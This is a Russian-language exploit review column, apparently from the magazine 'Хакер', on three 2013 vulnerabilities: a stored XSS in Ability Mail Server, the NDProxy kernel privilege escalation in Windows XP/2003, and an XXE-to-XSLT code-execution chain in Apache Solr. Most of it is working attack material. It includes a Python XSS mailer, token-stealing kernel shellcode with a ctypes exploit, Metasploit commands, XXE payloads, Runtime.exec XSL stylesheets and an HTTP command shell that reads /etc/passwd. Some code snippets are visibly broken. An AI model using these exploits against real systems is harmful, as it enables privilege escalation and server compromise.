Обзор эксплойтов

В этом выпуске мы с тобой поковыряем поисковик Solr от Apache, почтовый сервер Ability Mail Server, а также посмотрим на уязвимость в драйвере NDProxy в Windows XP и Windows Server 2003.

Хранимая XSS в Ability Mail Server

• CVSSv2: 4.3 (AV:R/AC:M/Au:N/C:N/I:P/A:N)
• Дата релиза: 17 декабря 2013 года
• Автор: David Um
• CVE: 2013-6162

Начнем с простой уязвимости для Windows почтового сервера Ability Mail Server. Он используется на некоторых хостингах, потому и представляет для нас интерес, а сама уязвимость позволяет отправлять письма с вложенным вредоносным JavaScript.

EXPLOIT

Для эксплуатации воспользуемся Python и стандартной библиотекой для работы с SMTP-протоколом:

import smtplib

email_to = 'user@hack.local' # Атакуемый email
email_from = 'hacker@hack.local' 

email = 'From: %s\n' % email_from # Составление тела письма
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += '<script>alert("XSS")</script>'

s = smtplib.SMTP('192.168.58.140', 25) # Атакуемый сервер
s.login(email_addr, "user") # Аутентификация на сервере
s.sendmail(email_addr, email_addr, email) # Отправка
s.quit()

Другие статьи в выпуске:

Хакер #181. Вся власть роботам!

• Содержание выпуска
• Подписка на «Хакер»-60%

TARGETS

Ability Mail Server 3.1.1.

SOLUTION

На момент написания статьи патча не было.

0-day-уязвимость в драйвере NDProxy

• CVSSv2: 7.2 (AV:L/AC:L/Au:N/C:C/I:C/A:C)
• Дата релиза: 27 ноября 2013 года
• Автор: Unknown, MTB
• CVE: 2013-5065

Данная уязвимость первый раз была замечена в «дикой природе» и эксплуатировалась в паре с другой для Adobe Reader, которая давала возможность выполнить произвольный код при открытии вредоносной страницы или файла (CVE-2013-3346). Ошибка находится вNDProxy.sys в компоненте ядра Windows, позволяющем повысить привилегии. NDProxy — это системный драйвер, который обеспечивает выполнение различных сетевых операций с устройствами, поддерживающими телефонию. Проще говоря, этот драйвер является пользовательским интерфейсом для операций с телефонией. Таким образом, мы можем использовать WinAPI-функцию DeviceIoControl с дескриптором NDProxy, чтобы выполнять TAPI-команды (Telephony Application Programming Interface).

Сама же уязвимость находится в функции PxIODispatch(), которая используется для управления командами из режима пользователя. Обратиться к ней возможно так:

DeviceIoControl(hDev, 0x8fff23cc, buffer, sizeof(buffer), buffer, sizeof(buffer), &dwRet, 0);

Функция работает следующим образом:

• Читаем значения индекса, используя IOCTL-сообщения.
• Вызываем функцию из массива функций, используя полученный индекс

Полный листинг ищи здесь: pastebin.com/fmbtaZ2p.

Таблицу с функциями можно посмотреть в памяти, используя следующую команду в WinDbg:

kd> .for (r $t0=0; @$t0<=0x24; r $t0=@$t0+1) { dd f8752188+($t0*0xc) L3 }

Также она представлена на скриншоте.

Последняя функция в этом массиве (индекс 0×24) указывает на адрес 0×00000038. После его вызова мы получим долгожданное падение:

Access violation - code c0000005 (!!! second chance !!!)
eax=000001b0 ebx=82263a78 ecx=00000000 edx=00000000 esi=81ffa720 edi=f87528bc
eip=00000038 esp=b2419c18 ebp=b2419c34 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
00000038 ??              ???

То есть атакующему достаточно «положить» свой шелл-код по этому адресу. В представлении C-кода приведенные выше операции можно описать так:

#include "windows.h"
#include "stdio.h"
void main(){
    HANDLE hdev=CreateFile("\\\\.\\NDProxy",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0 , NULL);
    if hdev==INVALID_HANDLE_VALUE){
        printf("CreateFile Failed: %d/n",GetLastError());
    }
    DWORD InBuf [0x15] = {0};
    DWORD dwRetbytes = 0;
    *(InBuf + 5) = x7030125;
    *(InBuf + 7) = 0x34;
    DeviceIoControl(hdev,0x8fff23cc,InBuf, 0x54, InBuf, 0x24 , &deRetBytes, 0);
    CloseHandle(hdev);
} 

EXPLOIT

Эта уязвимость заинтересовала многих, и написано три публичных эксплойта. Ссылки на исходники:

• от китайских коллег на С;
• модуль для Metasploit;
• на Python.

Основные части последнего эксплойта мы и разберем. Для начала подключим некоторые стандартные модули:

from ctypes import *
from ctypes.wintypes import *
import os, sys

Загрузим используемые динамические библиотеки:

kernel32 = windll.kernel32
ntdll = windll.ntdll

Выделим память по адресу 0x00000001:

dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE)

Полезная нагрузка, которую мы запишем по адресу 0×00000038:

sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3"
sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh))
alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written))

Получаем дескриптор для драйвера NDProxy и вызываем функцию PxIODispatch() черезDeviceIoControl:

DEVICE_NAME   = "\\\\.\\NDProxy"
hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None)
kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0)

И наконец-то запускаем калькулятор с правами System:

os.system("start /d \"C:\\windows\\system32\" cmd.exe")

Теперь разберем Metasploit-вариант. Так как эксплойт локальный и используется для повышения привилегий, то команды, используемые нами обычно, будут отличаться:

msf > use exploit/windows/local/ms_ndproxy
msf exploit(ms_ndproxy) > show options 
msf exploit(ms_ndproxy) > sessions -v 
msf exploit(ms_ndproxy) > set SESSION 1
msf exploit(ms_ndproxy) > exploit

Командой sessions -v мы смотрим текущие сессии, запущенные в нашем Metasploit, то есть нам уже нужно быть подключенным к атакуемой машине с минимально возможными правами. Если тебя интересует, как найти в локальной сети машины с возможностью запуска своих команд с помощью Metasploit, то советую прочитать статью от SpiderLabs по трюкам и хакам в любимом фреймворке.

TARGETS

Windows XP SP2/SP3, Windows Server 2003 SP2.

SOLUTION

Есть исправление от производителя, или можно воспользоваться небольшим хаком. Отключить NDProxy с помощью следующих команд:

> sc stop ndproxy
> reg add HKLM\System\CurrentControlSet\Services\ndproxy /v ImagePath /t REG_EXPAND_SZ /d system32\drivers\null.sys /f

и перезагрузить систему.

Множественные уязвимости в Apacher Solr

•  CVSSv2:
  • 2013-6397 4.3 (AV:R/AC:M/Au:N/C:P/I:N/A:N)
  • 2013-6407 7.5 (AV:R/AC:L/Au:N/C:P/I:P/A:P)
  • 2013-6408 6.4 (AV:R/AC:L/Au:L/C:P/I:N/A:P)
• Дата релиза: 27 ноября 2013 года
• Автор: Nicolas Gregoire
• CVE: 2013-6407, 2013-6408, 2013-6397

Под коротким названием Solr скрывается платформа полнотекстового поиска от Apache с открытым исходным кодом, которая основана на проекте Lucene. Сама Solr написана на Java и запускается как отдельное веб-приложение внутри какого-либо контейнера сервлетов, например Apache Tomcat или Jetty. Существуют различные проекты на многих языках для интеграции Solr. Также ее предпочитают использовать в Drupal-приложениях. Интересны эти уязвимости, помимо того что найдены в таком популярном проекте, тем, что сами по себе они мелкие ошибки, но, используя их, атакующий может полностью скомпрометировать систему. Теперь вкратце разберем каждую из них и далее рассмотрим процесс эксплуатации.

Первая ошибка (2013-6407) позволяет провести XXE (Xml eXternal Entity) инъекцию вUpdateRequestHandler во время обработки XML-данных. Возникает эта ошибка из-за неправильной настройки XML-парсера при получении данных из недоверенных источников. Следующая уязвимость (2013-6408) также позволяет провести XXE-инъекцию при обработке XML-данных, только уже в DocumentAnalysisRequestHandler. И последняя ошибка содержится в классе SolrResourceLoader, она приводит к повышению привилегий. Но есть ограничение: загрузка специально сделанных XLS-файлов или Velocity-шаблонов возможна из абсолютного пути или при проведении атаки обхода путей.

EXPLOIT

Теперь рассмотрим атаку на Solr-сервер, находящийся где-то в сети. Атакуемое приложение позволяет авторизованным пользователям искать, загружать документы и управлять ими. Сами же документы могут быть как публичные, так и нет (разрешено определенным пользователям, группам и так далее). Создатели групп могут приглашать других пользователей к себе посредством самого приложения или отправкой email с инвайтом в виде XML-файла. Во время пентеста у автора сеть была настроена довольно просто:

• фронтенд-сервер с HTTPS («A»);
• Java-сервер («B»);
• сервер для хранения данных («C»).

У файрвола же, наоборот, были довольно строгие правила. Никакого исходящего трафика и входящий только по следующим правилам:

• HTTPS (TCP/443) из Internet в сервер «A»;
• HTTP (TCP/8080) из сервера «A» в «В»;
• Oracle (TCP/1521), Solr (TCP/8983) и NFS (TCP/2049) из «В» в «С».

В сервере «В» и была найдена первая уязвимость — XXE внутри XML-инвайтов, с помощью которой можно было сделать следующее:

• получить список директорий, используя file://MY_DIR/;
• читать файлы через file://MY_DIR/MY_FILE;
• получить чистый текст из файлов в ASCII или UTF-8 кодировке опять же черезfile://MY_DIR/MY_FILE;
• произвести обработку для HTTP- и HTTPS-адресов.

Правда, и здесь не обошлось без ограничения — не все файлы можно прочитать. Например, если они в формате в JAR, Word, PDF или содержат неправильный XML (у многих HTML-страниц такой). Зато можно использовать их как промежуточный прокси для сканирования внутренней сети. Открытый TCP-порт под номером 8983 подтвердил, что используется Solr. После этого можно получить информацию о сервере, отправив следующие XML-данные на адрес /solr/admin/info/system:

<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:8983/solr/admin/info/system?wt=xml">
]>

И получить XML-ответ (по умолчанию) или в JSON-формате, использовав параметр ?wt=xml. Результат можешь увидеть на скриншоте:

После изучения документации был найден еще один параметр — tr, который позволяет трансформировать в XSLT-формат:

<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:8983/solr/select/?q=31337&wt=xslt&tr=example_rss.xsl">
]>

Как всегда, не обошлось без ограничения, такой файл должен быть в conf/xslt-директории Solr-сервера.

Далее автор хотел попробовать загрузить выполняемый шаблон, который заведомо есть в системе по абсолютному пути. И такой нашелся, /usr/share/ant/etc/ant-update.xsl (он связан с установкой ant-пакета):

<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:8983/solr/select/?q=31337&wt=xslt&tr=../../../../../../../../../../../../../../../../../usr/share/ant/etc/ant-update.xsl">
]>

Теперь нам нужно прочекать реакцию на свои файлы и понять, где они обычно сохраняются (если бы у нас были открыты порты, то можно было найти через URL-схему jar:, как рассказывают в этом видео, а так остается брутфорс).

Создаем и заливаем в систему файл со следующим содержимым:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    Version : <xsl:value-of select="system-property('xsl:version')" />
    Vendor : <xsl:value-of select="system-property('xsl:vendor')" />
    Vendor URL : <xsl:value-of select="system-property('xsl:vendor-url')" />
  </xsl:template>
</xsl:stylesheet>

После нахождения файла в системе обратимся к нему:

<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:8983/solr/select/?q=31337&wt=xslt&tr=../../../../../../../../../../../../../../../../../var/data/user/333/recon.xsl">
]>

И получим данные о системе:

Теперь попробуем выполнить Java-код, вызовем java.util.Date:new():

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
    exclude-result-prefixes="date">
  <xsl:output method="text"/>
  <xsl:template match="/">
   <xsl:variable name="dateObject" select="date:new()"/>
   <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
  </xsl:template>
</xsl:stylesheet>

И получим текущую дату:

<sploit>Current date: Sun Nov 13 11:37:52 CET 2013</sploit>

Теперь можно было бы загрузить Java-вариант Meterpreter в качестве полезной нагрузки, но запрещены входящие и исходящие порты. Однако у нас уже есть открытый 1521-й TCP-порт, читаемый из Java-сервера. Поэтому можно попытаться выполнить код, биндящий этот порт. Для этого автор написал Python-шелл (исходники доступны на сайте автора). Он основан наBaseHTTPServer, и в итоге у нас получается длинная цепочка вызовов — XSLT -> Java -> Python -> Bash. Основная часть скрипта представлена ниже:

# Реагируем только на GET-запросы
def do_GET(self):
    try:
    ...

        # Выполнение команды в шелле)
        if action == '/shell':
                cmd = args['cmd'][0]
                # Проверка кодировки
                if 'i64' in args:
                        cmd = base64.b64decode(cmd)
                data = subprocess.check_output(cmd, shell=True)
            # Выполнить Python-код
        elif action == '/python':
                code = args['code'][0]
                # Проверка кодировки
                if 'i64' in args:
                        code = base64.b64decode(code)
                data = self.exec_stdout(code)

Зальем получившийся скрипт и создадим XSL-файл, который будет вызывать наш шелл:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
    xmlns:str="http://xml.apache.org/xalan/java/java.lang.String"
    exclude-result-prefixes="date">

  <xsl:output method="text"/>
  <xsl:template match="/">

   <xsl:variable name="cmd"><![CDATA[/usr/bin/python /var/data/user/666/http2cmd.py]]></xsl:variable>
   <xsl:variable name="rtObj" select="rt:getRuntime()"/>
   <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
   <xsl:text>Process: </xsl:text><xsl:value-of select="$process"/>

  </xsl:template>
</xsl:stylesheet> 

Проверяем работу:

<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:1521/shell?o64%26cmd=head%20/etc/passwd">
]>

Если ты заметил, у нас есть возможность отправлять команды в BASE64-кодировке для длинных команд или Python-скриптов. Например, получим информацию о системе с помощью следующего скрипта:

import sys
print repr('OS platform: %s' % sys.platform)
print repr('Python version: %s' % sys.version) 

Вызов же будет таким:

<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:1521/python?i64%26code=aW1wb3J0IHN5cwpwcmludCByZXByKCdPUyBwbGF0Zm9ybTogJXMnICUgc3lzLnBsYXRmb3JtKQpwcmludCByZXByKCdQeXRob24gdmVyc2lvbjogJXMnICUgc3lzLnZlcnNpb24pCg%3d%3d">
]>

Ответ:

<sploit>'OS platform: linux2'
    'Python version: 2.7.3 (default, Sep 26 2013, 20:08:41) \n [GCC 4.6.3]'</sploit>

TARGETS

Apacher Solr 4.3; Apacher Solr 3.6.2.

SOLUTION

Есть исправление от производителя.